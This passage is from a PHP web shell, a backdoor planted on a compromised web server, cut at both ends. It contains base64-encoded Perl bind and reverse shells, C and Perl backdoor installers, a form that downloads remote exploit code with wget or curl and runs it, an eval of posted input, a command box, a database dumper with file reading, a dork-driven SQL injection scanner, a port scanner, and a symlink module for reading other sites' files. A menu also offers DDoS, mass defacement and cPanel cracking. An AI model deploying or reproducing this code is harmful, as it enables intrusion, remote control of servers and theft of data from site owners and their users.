2816 $back_connect_p="IyEvdXNyL2Jpbi9wZXJsDQp1c2UgU29ja2V0Ow0KJGlhZGRyPWluZXRfYXRvbigkQVJHVlswXSkgfHwgZGllKCJFcnJvcjogJCFcbiIpOw0KJHBhZGRyPXNvY2thZGRyX2luKCRBUkdWWzFdLCAkaWFkZHIpIHx8IGRpZSgiRXJyb3I6ICQhXG4iKTsNCiRwcm90bz1nZXRwcm90b2J5bmFtZSgndGNwJyk7DQpzb2NrZXQoU09DS0VULCBQRl9JTkVULCBTT0NLX1NUUkVBTSwgJHByb3RvKSB8fCBkaWUoIkVycm9yOiAkIVxuIik7DQpjb25uZWN0KFNPQ0tFVCwgJHBhZGRyKSB8fCBkaWUoIkVycm9yOiAkIVxuIik7DQpvcGVuKFNURElOLCAiPiZTT0NLRVQiKTsNCm9wZW4oU1RET1VULCAiPiZTT0NLRVQiKTsNCm9wZW4oU1RERVJSLCAiPiZTT0NLRVQiKTsNCnN5c3RlbSgnL2Jpbi9zaCAtaScpOw0KY2xvc2UoU1RESU4pOw0KY2xvc2UoU1RET1VUKTsNCmNsb3NlKFNUREVSUik7";
2817 $bind_port_p="IyEvdXNyL2Jpbi9wZXJsDQokU0hFTEw9Ii9iaW4vc2ggLWkiOw0KaWYgKEBBUkdWIDwgMSkgeyBleGl0KDEpOyB9DQp1c2UgU29ja2V0Ow0Kc29ja2V0KFMsJlBGX0lORVQsJlNPQ0tfU1RSRUFNLGdldHByb3RvYnluYW1lKCd0Y3AnKSkgfHwgZGllICJDYW50IGNyZWF0ZSBzb2NrZXRcbiI7DQpzZXRzb2Nrb3B0KFMsU09MX1NPQ0tFVCxTT19SRVVTRUFERFIsMSk7DQpiaW5kKFMsc29ja2FkZHJfaW4oJEFSR1ZbMF0sSU5BRERSX0FOWSkpIHx8IGRpZSAiQ2FudCBvcGVuIHBvcnRcbiI7DQpsaXN0ZW4oUywzKSB8fCBkaWUgIkNhbnQgbGlzdGVuIHBvcnRcbiI7DQp3aGlsZSgxKSB7DQoJYWNjZXB0KENPTk4sUyk7DQoJaWYoISgkcGlkPWZvcmspKSB7DQoJCWRpZSAiQ2Fubm90IGZvcmsiIGlmICghZGVmaW5lZCAkcGlkKTsNCgkJb3BlbiBTVERJTiwiPCZDT05OIjsNCgkJb3BlbiBTVERPVVQsIj4mQ09OTiI7DQoJCW9wZW4gU1RERVJSLCI+JkNPTk4iOw0KCQlleGVjICRTSEVMTCB8fCBkaWUgcHJpbnQgQ09OTiAiQ2FudCBleGVjdXRlICRTSEVMTFxuIjsNCgkJY2xvc2UgQ09OTjsNCgkJZXhpdCAwOw0KCX0NCn0=";
2818 echo "<h1>Network tools</h1><div class=content>
2819 <form name='nfp' onSubmit=\"g(null,null,'bpp',this.port.value);return false;\">
2820 <span>Bind port to /bin/sh [perl]</span><br/>
2821 Port: <input type='text' name='port' value='31337'> <input type=submit value='>>'>
2822 </form>
2823 <form name='nfp' onSubmit=\"g(null,null,'bcp',this.server.value,this.port.value);return false;\">
2824 <span>Back-connect [perl]</span><br/>
2825 Server: <input type='text' name='server' value='". $_SERVER['REMOTE_ADDR'] ."'> Port: <input type='text' name='port' value='31337'> <input type=submit value='>>'>
2826 </form><br>";
2827 if(isset($_POST['p1'])) {
2828 function cf($f,$t) {
2829 $w = @fopen($f,"w") or @function_exists('file_put_contents');
2830 if($w){
2831 @fwrite($w,@base64_decode($t));
2832 @fclose($w);
2833 }
2834 }
2835 if($_POST['p1'] == 'bpp') {
2836 cf("/tmp/bp.pl",$bind_port_p);
2837 $out = wsoEx("perl /tmp/bp.pl ".$_POST['p2']." 1>/dev/null 2>&1 &");
2838 sleep(1);
2839 echo "<pre class=ml1>$out\n".wsoEx("ps aux | grep bp.pl")."</pre>";
2840 unlink("/tmp/bp.pl");
2841 }
2842 if($_POST['p1'] == 'bcp') {
2843 cf("/tmp/bc.pl",$back_connect_p);
2844 $out = wsoEx("perl /tmp/bc.pl ".$_POST['p2']." ".$_POST['p3']." 1>/dev/null 2>&1 &");
2845 sleep(1);
2846 echo "<pre class=ml1>$out\n".wsoEx("ps aux | grep bc.pl")."</pre>";
2847 unlink("/tmp/bc.pl");
2848 }
2849 }
2850 echo '</div>';
2851 wsoFooter();
2852}
2853function actionRC() {
2854 if(!@$_POST['p1']) {
2855 $a = array(
2856 "uname" => php_uname(),
2857 "php_version" => phpversion(),
2858 "wso_version" => WSO_VERSION,
2859 "safemode" => @ini_get('safe_mode')
2860 );
2861 echo serialize($a);
2862 } else {
2863 eval($_POST['p1']);
2864 }
2865}
2866if( empty($_POST['a']) )
2867 if(isset($default_action) && function_exists('action' . $default_action))
2868 $_POST['a'] = $default_action;
2869 else
2870 $_POST['a'] = 'SecInfo';
2871if( !empty($_POST['a']) && function_exists('action' . $_POST['a']) )
2872 call_user_func('action' . $_POST['a']);
2873exit;
2874}
2875?>
2876<?php
2877}else if(isset($_GET['x']) && ($_GET['x']=='tools')){
2878?>
2879<center>
2880<form action='' method='get'>
2881<table class="tabnet" style="width:333px;padding:0 1px;">
2882<tr>
2883<th style='border-bottom:1px solid red' colspan="5">Tools</th>
2884</tr>
2885<tr>
2886<td>
2887<input type=hidden name=path value='<?php echo $path;?>' />
2888<select class='inputzbut' name='x' >
2889<option value="tools" selected>----------------[ Select Tools]----------------</option>
2890<option value="adminfinder">Admin Finder</option>
2891<option value="dos">Ddos</option>
2892<option value="mail">Fake Mail</option>
2893<option value="shell">CMD</option>
2894<option value="netsploit">Net Sploit</option>
2895<option value="sql"> SQL manager </option>
2896<option value="sqli-scanner">Sql injection scanner</option>
2897<option value="port-sc">Port Scanner</option>
2898<option value="symlink">Symlink</option>
2899<option value="domain">Domain</option>
2900<option value="mass">Mass deface</option>
2901<option value="hash">Password Hash</option>
2902<option value="deface">Deface </option>
2903<option value="wp-respass">wordpress respass</option>
2904<option value="hashidentifier">hash identifier</option>
2905<option value="brute">cPanel crack </option>
2906</select>
2907<input type='submit' class='inputzbut' />
2908<?php
2909}elseif(isset($_GET['x']) && $_GET['x']=="shell"){
2910?>
2911<form action="?path=<?php echo $path; ?>&x=shell" method="post">
2912<table class="cmdbox">
2913<tr><td colspan="2">
2914<textarea class="output" readonly>
2915<?php
2916if(isset($_POST['submitcmd'])) {
2917echo @exe($_POST['cmd']);
2918}
2919?>
2920</textarea>
2921<tr><td colspan="2">
2922<?php echo $user." >"; ?>
2923<input onMouseOver="this.focus();" id="cmd" class="inputz" type="text" name="cmd" style="width:60%;" value="" />
2924<input class="inputzbut" type="submit" value="Go !" name="submitcmd" style="width:12%;" />
2925</td>
2926</tr>
2927</table>
2928</form>
2929<?php
2930
2931}elseif(isset($_GET['x']) && ($_GET['x'] == 'netsploit')){
2932
2933// bind connect with c
2934if (isset($_POST['bind']) && !empty($_POST['port']) && !empty($_POST['bind_pass']) && ($_POST['use'] == 'C')) {
2935$port = trim($_POST['port']);
2936$passwrd = trim($_POST['bind_pass']);
2937tulis("bdc.c",$port_bind_bd_c);
2938exe("gcc -o bdc bdc.c");
2939exe("chmod 777 bdc");
2940@unlink("bdc.c");
2941exe("./bdc ".$port." ".$passwrd." &");
2942$scan = exe("ps aux");
2943if(eregi("./bdc $por",$scan)){ $msg = "<p>Process found running, backdoor setup successfully.</p>"; }
2944else { $msg = "<p>Process not found running, backdoor not setup successfully.</p>"; }
2945}
2946// bind connect with perl
2947elseif (isset($_POST['bind']) && !empty($_POST['port']) && !empty($_POST['bind_pass']) && ($_POST['use'] == 'Perl')) {
2948$port = trim($_POST['port']);
2949$passwrd = trim($_POST['bind_pass']);
2950tulis("bdp",$port_bind_bd_pl);
2951exe("chmod 777 bdp");
2952$p2=which("perl");
2953exe($p2." bdp ".$port." &");
2954$scan = exe("ps aux");
2955if(eregi("$p2 bdp $port",$scan)){ $msg = "<p>Process found running, backdoor setup successfully.</p>"; }
2956else { $msg = "<p>Process not found running, backdoor not setup successfully.</p>"; }
2957}
2958// back connect with c
2959elseif (isset($_POST['backconn']) && !empty($_POST['backport']) && !empty($_POST['ip']) && ($_POST['use'] == 'C')) {
2960$ip = trim($_POST['ip']);
2961$port = trim($_POST['backport']);
2962tulis("bcc.c",$back_connect_c);
2963exe("gcc -o bcc bcc.c");
2964exe("chmod 777 bcc");
2965@unlink("bcc.c");
2966exe("./bcc ".$ip." ".$port." &");
2967$msg = "Now script try connect to ".$ip." port ".$port." ...";
2968}
2969// back connect with perl
2970elseif (isset($_POST['backconn']) && !empty($_POST['backport']) && !empty($_POST['ip']) && ($_POST['use'] == 'Perl')) {
2971$ip = trim($_POST['ip']);
2972$port = trim($_POST['backport']);
2973tulis("bcp",$back_connect);
2974exe("chmod +x bcp");
2975$p2=which("perl");
2976exe($p2." bcp ".$ip." ".$port." &");
2977$msg = "Now script try connect to ".$ip." port ".$port." ...";
2978}
2979elseif (isset($_POST['expcompile']) && !empty($_POST['wurl']) && !empty($_POST['wcmd']))
2980{
2981$pilihan = trim($_POST['pilihan']);
2982$wurl = trim($_POST['wurl']);
2983$namafile = download($pilihan,$wurl);
2984if(is_file($namafile)) {
2985
2986$msg = exe($wcmd);
2987}
2988else $msg = "error: file not found $namafile";
2989}
2990
2991?>
2992<table class="tabnet">
2993<tr><th class="th">Port Binding</th><th class="th">Connect Back</th><th class="th">Load and Exploit</th></tr>
2994<tr>
2995<td>
2996<table>
2997<form method="post" action="?y=<?php echo $pwd; ?>&x=netsploit">
2998<tr><td>Port</td><td><input class="inputz" type="text" name="port" size="26" value="<?php echo $bindport ?>"></td></tr>
2999<tr><td>Password</td><td><input class="inputz" type="text" name="bind_pass" size="26" value="<?php echo $bindport_pass; ?>"></td></tr>
3000<tr><td>Use</td><td style="text-align:justify"><p><select class="inputz" size="1" name="use"><option value="Perl">Perl</option><option value="C">C</option></select>
3001<input class="inputzbut" type="submit" name="bind" value="Bind" style="width:120px"></td></tr></form>
3002</table>
3003</td>
3004<td>
3005<table>
3006<form method="post" action="?path=<?php echo $path; ?>&x=netsploit">
3007<tr><td>IP</td><td><input class="inputz" type="text" name="ip" size="26" value="<?php echo ((getenv('REMOTE_ADDR')) ? (getenv('REMOTE_ADDR')) : ("127.0.0.1")); ?>"></td></tr>
3008<tr><td>Port</td><td><input class="inputz" type="text" name="backport" size="26" value="<?php echo $bindport; ?>"></td></tr>
3009<tr><td>Use</td><td style="text-align:justify"><p><select size="1" class="inputz" name="use"><option value="Perl">Perl</option><option value="C">C</option></select>
3010<input type="submit" name="backconn" value="Connect" class="inputzbut" style="width:120px"></td></tr></form>
3011</table>
3012</td>
3013<td>
3014<table>
3015<form method="post" action="?y=<?php echo $path; ?>&x=netsploit">
3016<tr><td>url</td><td><input class="inputz" type="text" name="wurl" style="width:250px;" value="www.some-code/exploits.c"></td></tr>
3017<tr><td>cmd</td><td><input class="inputz" type="text" name="wcmd" style="width:250px;" value="gcc -o exploits exploits.c;chmod +x exploits;./exploits;"></td>
3018</tr>
3019<tr><td><select size="1" class="inputz" name="pilihan">
3020<option value="wwget">wget</option>
3021<option value="wlynx">lynx</option>
3022<option value="wfread">fread</option>
3023<option value="wfetch">fetch</option>
3024<option value="wlinks">links</option>
3025<option value="wget">GET</option>
3026<option value="wcurl">curl</option>
3027</select></td><td colspan="2"><input type="submit" name="expcompile" class="inputzbut" value="Go" style="width:246px;"></td></tr></form>
3028</table>
3029</td>
3030</tr>
3031</table>
3032<div style="text-align:center;margin:2px;"><?php if(isset($msg)) echo $msg; ?></div>
3033<?php
3034}
3035else if(isset($_GET['x']) && $_GET['x']=='sql'){
3036?>
3037<?php
3038echo "
3039<style>
3040td,th{ font: 9pt Lucida,Verdana;margin:0;vertical-align:top; }
3041</style>
3042";
3043function actionSql() {
3044 class DbClass {
3045 var $type;
3046 var $link;
3047 var $res;
3048 function DbClass($type) {
3049 $this->type = $type;
3050 }
3051 function connect($host, $user, $pass, $dbname){
3052 switch($this->type) {
3053 case 'mysql':
3054 if( $this->link = @mysql_connect($host,$user,$pass,true) ) return true;
3055 break;
3056 case 'pgsql':
3057 $host = explode(':', $host);
3058 if(!$host[1]) $host[1]=5432;
3059 if( $this->link = @pg_connect("host={$host[0]} port={$host[1]} user=$user password=$pass dbname=$dbname") ) return true;
3060 break;
3061 }
3062 return false;
3063 }
3064 function selectdb($db) {
3065 switch($this->type) {
3066 case 'mysql':
3067 if (@mysql_select_db($db))return true;
3068 break;
3069 }
3070 return false;
3071 }
3072 function query($str) {
3073 switch($this->type) {
3074 case 'mysql':
3075 return $this->res = @mysql_query($str);
3076 break;
3077 case 'pgsql':
3078 return $this->res = @pg_query($this->link,$str);
3079 break;
3080 }
3081 return false;
3082 }
3083 function fetch() {
3084 $res = func_num_args()?func_get_arg(0):$this->res;
3085 switch($this->type) {
3086 case 'mysql':
3087 return @mysql_fetch_assoc($res);
3088 break;
3089 case 'pgsql':
3090 return @pg_fetch_assoc($res);
3091 break;
3092 }
3093 return false;
3094 }
3095 function listDbs() {
3096 switch($this->type) {
3097 case 'mysql':
3098 return $this->query("SHOW databases");
3099 break;
3100 case 'pgsql':
3101 return $this->res = $this->query("SELECT datname FROM pg_database WHERE datistemplate!='t'");
3102 break;
3103 }
3104 return false;
3105 }
3106 function listTables() {
3107 switch($this->type) {
3108 case 'mysql':
3109 return $this->res = $this->query('SHOW TABLES');
3110 break;
3111 case 'pgsql':
3112 return $this->res = $this->query("select table_name from information_schema.tables where table_schema != 'information_schema' AND table_schema != 'pg_catalog'");
3113 break;
3114 }
3115 return false;
3116 }
3117 function error() {
3118 switch($this->type) {
3119 case 'mysql':
3120 return @mysql_error();
3121 break;
3122 case 'pgsql':
3123 return @pg_last_error();
3124 break;
3125 }
3126 return false;
3127 }
3128 function setCharset($str) {
3129 switch($this->type) {
3130 case 'mysql':
3131 if(function_exists('mysql_set_charset'))
3132 return @mysql_set_charset($str, $this->link);
3133 else
3134 $this->query('SET CHARSET '.$str);
3135 break;
3136 case 'pgsql':
3137 return @pg_set_client_encoding($this->link, $str);
3138 break;
3139 }
3140 return false;
3141 }
3142 function loadFile($str) {
3143 switch($this->type) {
3144 case 'mysql':
3145 return $this->fetch($this->query("SELECT LOAD_FILE('".addslashes($str)."') as file"));
3146 break;
3147 case 'pgsql':
3148 $this->query("CREATE TABLE wso2(file text);COPY wso2 FROM '".addslashes($str)."';select file from wso2;");
3149 $r=array();
3150 while($i=$this->fetch())
3151 $r[] = $i['file'];
3152 $this->query('drop table wso2');
3153 return array('file'=>implode("\n",$r));
3154 break;
3155 }
3156 return false;
3157 }
3158 function dump($table, $fp = false) {
3159 switch($this->type) {
3160 case 'mysql':
3161 $res = $this->query('SHOW CREATE TABLE `'.$table.'`');
3162 $create = mysql_fetch_array($res);
3163 $sql = $create[1].";\n";
3164 if($fp) fwrite($fp, $sql); else echo($sql);
3165 $this->query('SELECT * FROM `'.$table.'`');
3166 $i = 0;
3167 $head = true;
3168 while($item = $this->fetch()) {
3169 $sql = '';
3170 if($i % 1000 == 0) {
3171 $head = true;
3172 $sql = ";\n\n";
3173 }
3174
3175 $columns = array();
3176 foreach($item as $k=>$v) {
3177 if($v === null)
3178 $item[$k] = "NULL";
3179 elseif(is_int($v))
3180 $item[$k] = $v;
3181 else
3182 $item[$k] = "'".@mysql_real_escape_string($v)."'";
3183 $columns[] = "`".$k."`";
3184 }
3185 if($head) {
3186 $sql .= 'INSERT INTO `'.$table.'` ('.implode(", ", $columns).") VALUES \n\t(".implode(", ", $item).')';
3187 $head = false;
3188 } else
3189 $sql .= "\n\t,(".implode(", ", $item).')';
3190 if($fp) fwrite($fp, $sql); else echo($sql);
3191 $i++;
3192 }
3193 if(!$head)
3194 if($fp) fwrite($fp, ";\n\n"); else echo(";\n\n");
3195 break;
3196 case 'pgsql':
3197 $this->query('SELECT * FROM '.$table);
3198 while($item = $this->fetch()) {
3199 $columns = array();
3200 foreach($item as $k=>$v) {
3201 $item[$k] = "'".addslashes($v)."'";
3202 $columns[] = $k;
3203 }
3204 $sql = 'INSERT INTO '.$table.' ('.implode(", ", $columns).') VALUES ('.implode(", ", $item).');'."\n";
3205 if($fp) fwrite($fp, $sql); else echo($sql);
3206 }
3207 break;
3208 }
3209 return false;
3210 }
3211 };
3212 if(isset($_POST['type'])) $db = new DbClass($_POST['type']);
3213 else $db =new DbClass("L");
3214 if((@$_POST['p2']=='download') && (@$_POST['p1']!='select')) {
3215 $db->connect($_POST['sql_host'], $_POST['sql_login'], $_POST['sql_pass'], $_POST['sql_base']);
3216 $db->selectdb($_POST['sql_base']);
3217 switch($_POST['charset']) {
3218 case "Windows-1251": $db->setCharset('cp1251'); break;
3219 case "UTF-8": $db->setCharset('utf8'); break;
3220 case "KOI8-R": $db->setCharset('koi8r'); break;
3221 case "KOI8-U": $db->setCharset('koi8u'); break;
3222 case "cp866": $db->setCharset('cp866'); break;
3223 }
3224 if(empty($_POST['file'])) {
3225 ob_start("ob_gzhandler", 4096);
3226 header("Content-Disposition: attachment; filename=dump.sql");
3227 header("Content-Type: text/plain");
3228 foreach($_POST['tbl'] as $v)
3229 $db->dump($v);
3230 exit;
3231 } elseif($fp = @fopen($_POST['file'], 'w')) {
3232 foreach($_POST['tbl'] as $v)
3233 $db->dump($v, $fp);
3234 fclose($fp);
3235 unset($_POST['p2']);
3236 } else
3237 die('<script>alert("Error! Can\'t open file");window.history.back(-1)</script>');
3238 }
3239// wsoHeader();
3240 echo "
3241<h1>-= [ Sql browser ]=-</h1><div class=content>
3242<form name='sf' method='post' onsubmit='fs(this);'><table cellpadding='2' cellspacing='0'><tr>
3243<td>Type</td><td>Host</td><td>Login</td><td>Password</td><td>Database</td><td></td></tr><tr>
3244<input type=hidden name=a value=Sql><input type=hidden name=p1 value='query'><input type=hidden name=p2 value=''><input type=hidden name=c value=''><input type=hidden name=charset value='". (isset($_POST['charset'])?$_POST['charset']:'') ."'>
3245<td><select class='inputzbut' name='type'><option value='mysql' ";
3246 if(@$_POST['type']=='mysql')echo 'selected';
3247echo ">MySql</option><option value='pgsql' ";
3248if(@$_POST['type']=='pgsql')echo 'selected';
3249echo ">PostgreSql</option></select></td>
3250<td><input type=text class='inputz' name=sql_host value=\"". (empty($_POST['sql_host'])?'localhost':htmlspecialchars($_POST['sql_host'])) ."\"></td>
3251<td><input type=text class='inputz' name=sql_login value=\"". (empty($_POST['sql_login'])?'root':htmlspecialchars($_POST['sql_login'])) ."\"></td>
3252<td><input type=text class='inputz' name=sql_pass value=\"". (empty($_POST['sql_pass'])?'':htmlspecialchars($_POST['sql_pass'])) ."\"></td><td>";
3253 $tmp = "<input type=text name=sql_base class='inputz' value=''>";
3254 if(isset($_POST['sql_host'])){
3255 if($db->connect($_POST['sql_host'], $_POST['sql_login'], $_POST['sql_pass'], $_POST['sql_base'])) {
3256 switch($_POST['charset']) {
3257 case "Windows-1251": $db->setCharset('cp1251'); break;
3258 case "UTF-8": $db->setCharset('utf8'); break;
3259 case "KOI8-R": $db->setCharset('koi8r'); break;
3260 case "KOI8-U": $db->setCharset('koi8u'); break;
3261 case "cp866": $db->setCharset('cp866'); break;
3262 }
3263 $db->listDbs();
3264 echo "<select class=\"inputzbut\" name=sql_base><option value=''></option>";
3265 while($item = $db->fetch()) {
3266 list($key, $value) = each($item);
3267 echo '<option class="inputzbut" value="'.$value.'" '.($value==$_POST['sql_base']?'selected':'').'>'.$value.'</option>';
3268 }
3269 echo '</select>';
3270 }
3271 else echo $tmp;
3272 }else
3273 echo $tmp;
3274 echo "</td>
3275 <td><input type=submit value='>>' class='inputz' onclick='fs(d.sf);'></td>
3276 <td><input type=checkbox name=sql_count value='on'" . (empty($_POST['sql_count'])?'':' checked') . "> count the number of rows</td>
3277 </tr>
3278 </table>
3279 <script>
3280 s_db='".@addslashes($_POST['sql_base'])."';
3281 function fs(f) {
3282 if(f.sql_base.value!=s_db) { f.onsubmit = function() {};
3283 if(f.p1) f.p1.value='';
3284 if(f.p2) f.p2.value='';
3285 if(f.p3) f.p3.value='';
3286 }
3287 }
3288 function st(t,l) {
3289 d.sf.p1.value = 'select';
3290 d.sf.p2.value = t;
3291 if(l && d.sf.p3) d.sf.p3.value = l;
3292 d.sf.submit();
3293 }
3294 function is() {
3295 for(i=0;i<d.sf.elements['tbl[]'].length;++i)
3296 d.sf.elements['tbl[]'][i].checked = !d.sf.elements['tbl[]'][i].checked;
3297 }
3298 </script>";
3299 if(isset($db) && $db->link){
3300 echo "<br/><table width=100% cellpadding=2 cellspacing=0>";
3301 if(!empty($_POST['sql_base'])){
3302 $db->selectdb($_POST['sql_base']);
3303 echo "<tr><td width=1 style='border-top:2px solid #666;'><span>Tables:</span><br><br>";
3304 $tbls_res = $db->listTables();
3305 while($item = $db->fetch($tbls_res)) {
3306 list($key, $value) = each($item);
3307 if(!empty($_POST['sql_count']))
3308 $n = $db->fetch($db->query('SELECT COUNT(*) as n FROM '.$value.''));
3309 $value = htmlspecialchars($value);
3310 echo "<nobr><input type='checkbox' name='tbl[]' value='".$value."'> <a href=# onclick=\"st('".$value."',1)\">".$value."</a>" . (empty($_POST['sql_count'])?' ':" <small>({$n['n']})</small>") . "</nobr><br>";
3311 }
3312 echo "<input type='checkbox' onclick='is();'> <input type=button class='inputzbut' value='Dump' onclick='document.sf.p2.value=\"download\";document.sf.submit();'><br>File path:<input type=text class='inputz' name=file value='dump.sql'></td><td style='border-top:2px solid #666;'>";
3313 if(@$_POST['p1'] == 'select') {
3314 $_POST['p1'] = 'query';
3315 if(isset($_POST['p3'])) $_POST['p3'] = $_POST['p3']?$_POST['p3']:1;
3316 else $_POST['p3'] = 1;
3317 $db->query('SELECT COUNT(*) as n FROM ' . $_POST['p2']);
3318 $num = $db->fetch();
3319 $pages = ceil($num['n'] / 30);
3320 echo "<script>d.sf.onsubmit=function(){st(\"" . $_POST['p2'] . "\", d.sf.p3.value)}</script><span>".$_POST['p2']."</span> ({$num['n']} records) Page # <input type=text name='p3' value=" . ((int)$_POST['p3']) . ">";
3321 echo " of $pages";
3322 if($_POST['p3'] > 1)
3323 echo " <a href=# onclick='st(\"" . $_POST['p2'] . '", ' . ($_POST['p3']-1) . ")'>< Prev</a>";
3324 if($_POST['p3'] < $pages)
3325 echo " <a href=# onclick='st(\"" . $_POST['p2'] . '", ' . ($_POST['p3']+1) . ")'>Next ></a>";
3326 $_POST['p3']--;
3327 if($_POST['type']=='pgsql')
3328 $_POST['p2'] = 'SELECT * FROM '.$_POST['p2'].' LIMIT 30 OFFSET '.($_POST['p3']*30);
3329 else
3330 $_POST['p2'] = 'SELECT * FROM `'.$_POST['p2'].'` LIMIT '.($_POST['p3']*30).',30';
3331 echo "<br><br>";
3332 }
3333 if((@$_POST['p1'] == 'query') && !empty($_POST['p2'])) {
3334 $db->query(@$_POST['p2']);
3335 if($db->res !== false) {
3336 $title = false;
3337 echo '<table width=100% cellspacing=1 cellpadding=2 class=main style="background-color:#292929">';
3338 $line = 1;
3339 while($item = $db->fetch()) {
3340 if(!$title) {
3341 echo '<tr>';
3342 foreach($item as $key => $value)
3343 echo '<td>'.$key.'</td>';
3344 reset($item);
3345 $title=true;
3346 echo '</tr><tr>';
3347 $line = 2;
3348 }
3349 echo '<tr class="l'.$line.'" >';
3350 $line = $line==1?2:1;
3351 foreach($item as $key => $value) {
3352 if($value == null)
3353 echo '<td><i>null</i></td>';
3354 else
3355 echo '<td>'.nl2br(htmlspecialchars($value)).'</td>';
3356 }
3357 echo '</tr>';
3358 }
3359 echo '</table>';
3360 } else {
3361 echo '<div><b>Error:</b> '.htmlspecialchars($db->error()).'</div>';
3362 }
3363 }
3364 echo "<br></form><form onsubmit='d.sf.p1.value=\"query\";d.sf.p2.value=this.query.value;document.sf.submit();return false;'><textarea name='query' class='output' style='width:100%;height:100px'>";
3365 if(!empty($_POST['p2']) && ($_POST['p1'] != 'loadfile'))
3366 echo htmlspecialchars($_POST['p2']);
3367 echo "</textarea><br/><input type=submit value='Execute' class='inputz'>";
3368 echo "</td></tr>";
3369 }
3370 echo "</table></form><br/>";
3371 if($_POST['type']=='mysql') {
3372 $db->query("SELECT 1 FROM mysql.user WHERE concat(`user`, '@', `host`) = USER() AND `File_priv` = 'y'");
3373 if($db->fetch())
3374 echo "<form onsubmit='d.sf.p1.value=\"loadfile\";document.sf.p2.value=this.f.value;document.sf.submit();return false;'><span>Load file</span> <input class='inputzbut' style='width:80%' type=text name=f><input type=submit class='inputz' value='>>'></form>";
3375 }
3376 if(@$_POST['p1'] == 'loadfile') {
3377 $file = $db->loadFile($_POST['p2']);
3378 echo '<br/><pre class=ml1>'.htmlspecialchars($file['file']).'</pre>';
3379 }
3380 } else {
3381 echo htmlspecialchars($db->error());
3382 }
3383 echo '</div>';
3384 //wsoFooter();
3385}
3386actionSql();
3387?>
3388<?php
3389 }elseif(isset($_GET['x']) && ($_GET['x'] == 'sqli-scanner'))
3390{
3391?>
3392<form action="?path=<?php echo $path; ?>&x=sqli-scanner" method="post">
3393
3394<?php
3395
3396echo '<br><br><center><form method="post" action=""><b><font color="green">Dork : </font></b> <input class="inputz" type="text" value="" name="dork" style="color:#FF0000;background-color:#000000" size="20"/><input class="inputzbut" type="submit" style="color:#FF0000;background-color:#000000" name="scan" value="Scan"></form></center>';
3397
3398ob_start();
3399set_time_limit(0);
3400
3401if (isset($_POST['scan'])) {
3402
3403$browser = $_SERVER['HTTP_USER_AGENT'];
3404
3405$first = "startgoogle.startpagina.nl/index.php?q=";
3406$sec = "&start=";
3407$reg = '/<p class="g"><a href="(.*)" target="_self" onclick="/';
3408
3409for($id=0 ; $id<=30; $id++){
3410$page=$id*10;
3411$dork=urlencode($_POST['dork']);
3412$url = $first.$dork.$sec.$page;
3413
3414$curl = curl_init($url);
3415curl_setopt($curl, CURLOPT_RETURNTRANSFER, 1);
3416curl_setopt($curl,CURLOPT_USERAGENT,'$browser)');
3417$result = curl_exec($curl);
3418curl_close($curl);
3419
3420preg_match_all($reg,$result,$matches);
3421}
3422foreach($matches[1] as $site){
3423
3424$url = preg_replace("/=/", "='", $site);
3425$curl=curl_init();
3426curl_setopt($curl,CURLOPT_RETURNTRANSFER,1);
3427curl_setopt($curl,CURLOPT_URL,$url);
3428curl_setopt($curl,CURLOPT_USERAGENT,'$browser)');
3429curl_setopt($curl,CURLOPT_TIMEOUT,'5');
3430$GET=curl_exec($curl);
3431if (preg_match("/error in your SQL syntax|mysql_fetch_array()|execute query|mysql_fetch_object()|mysql_num_rows()|mysql_fetch_assoc()|mysql_fetch​_row()|SELECT *
3432
3433FROM|supplied argument is not a valid MySQL|Syntax error|Fatal error/i",$GET)) {
3434echo '<center><b><font color="#E10000">Found : </font><a href="'.$url.'" target="_blank">'.$url.'</a><font color=#FF0000> <-- SQLI Vuln
3435
3436Found..</font></b></center>';
3437ob_flush();flush();
3438}else{
3439echo '<center><font color="#FFFFFF"><b>'.$url.'</b></font><font color="#0FFF16"> <-- Not Vuln</font></center>';
3440ob_flush();flush();
3441}
3442ob_flush();flush();
3443}
3444ob_flush();flush();
3445}
3446ob_flush();flush();
3447}
3448elseif(isset($_GET['x']) && $_GET['x']=='port-sc'){
3449?>
3450<form action="?path=<?php echo $path; ?>&x=port-sc" method="post">
3451<?php
3452echo '<br><br><center><br><b>--==[ Port Scanner ]==--</b><br>';
3453if(isset($_POST['host']) && is_numeric($_POST['end']) && is_numeric($_POST['start'])){
3454$start = strip_tags($_POST['start']);
3455$end = strip_tags($_POST['end']);
3456$host = strip_tags($_POST['host']);
3457for($i = $start; $i<=$end; $i++){
3458$fp = @fsockopen($host, $i, $errno, $errstr, 3);
3459if($fp){
3460echo 'Port '.$i.' is <font color=green>open</font><br>';
3461}
3462flush();
3463}
3464}else{
3465echo '<table class=tabnet style="width:300px;padding:0 1px;">
3466<input type="hidden" name="y" value="phptools">
3467<tr><th colspan="5">Port Scanner</th></center></tr>
3468<tr>
3469<td>Host</td>
3470<td><input type="text" class="inputz" style="width:220px;color:#FF0000;" name="host" value="localhost"/></td>
3471</tr>
3472<tr>
3473<td>Port start</td>
3474<td><input type="text" class="inputz" style="width:220px;color:#FF0000;" name="start" value="0"/></td>
3475</tr>
3476<tr><td>Port end</td>
3477<td><input type="text" class="inputz" style="width:220px;color:#FF0000;" name="end" value="5000"/></td>
3478</tr><td><input class="inputzbut" type="submit" style="color:#FF0000" value="Scan Ports" />
3479</td></form></center></table>';
3480}
3481?>
3482<?php
3483}elseif(isset($_GET['x']) && $_GET['x']=='symlink'){
3484?>
3485<form action="?y=<?php echo $pwd; ?>&x=symlink" method="post">
3486
3487<?php
3488
3489@set_time_limit(0);
3490
3491echo "<br><br><center><h1>--==[ Symlink ]==--</h1></center><br><br><center><div class=content>";
3492
3493@mkdir('sym',0777);
3494$htaccess = "Options all \n DirectoryIndex Sux.html \n AddType text/plain .php \n AddHandler server-parsed .php \n AddType text/plain .html \n AddHandler txt .html \n Require None \n Satisfy Any";
3495$write =@fopen ('sym/.htaccess','w');
3496fwrite($write ,$htaccess);
3497@symlink('/','sym/root');
3498$filelocation = basename(__FILE__);
3499$read_named_conf = @file('/etc/named.conf');
3500if(!$read_named_conf)
3501{
3502echo "<pre class=ml1 style='margin-top:5px'># Cant access this file on server -> [ /etc/named.conf ]</pre></center>";
3503}
3504else
3505{
3506echo "<br><br><div class='tmp'><table border='1' bordercolor='#FF0000' width='500' cellpadding='1' cellspacing='0'><td>Domains</td><td>Users</td><td>symlink </td>";
3507foreach($read_named_conf as $subject){
3508if(eregi('zone',$subject)){
3509preg_match_all('#zone "(.*)"#',$subject,$string);
3510flush();
3511if(strlen(trim($string[1][0])) >2){
3512$UID = posix_getpwuid(@fileowner('/etc/valiases/'.$string[1][0]));
3513$name = $UID['name'] ;
3514@symlink('/','sym/root');
3515$name = $string[1][0];
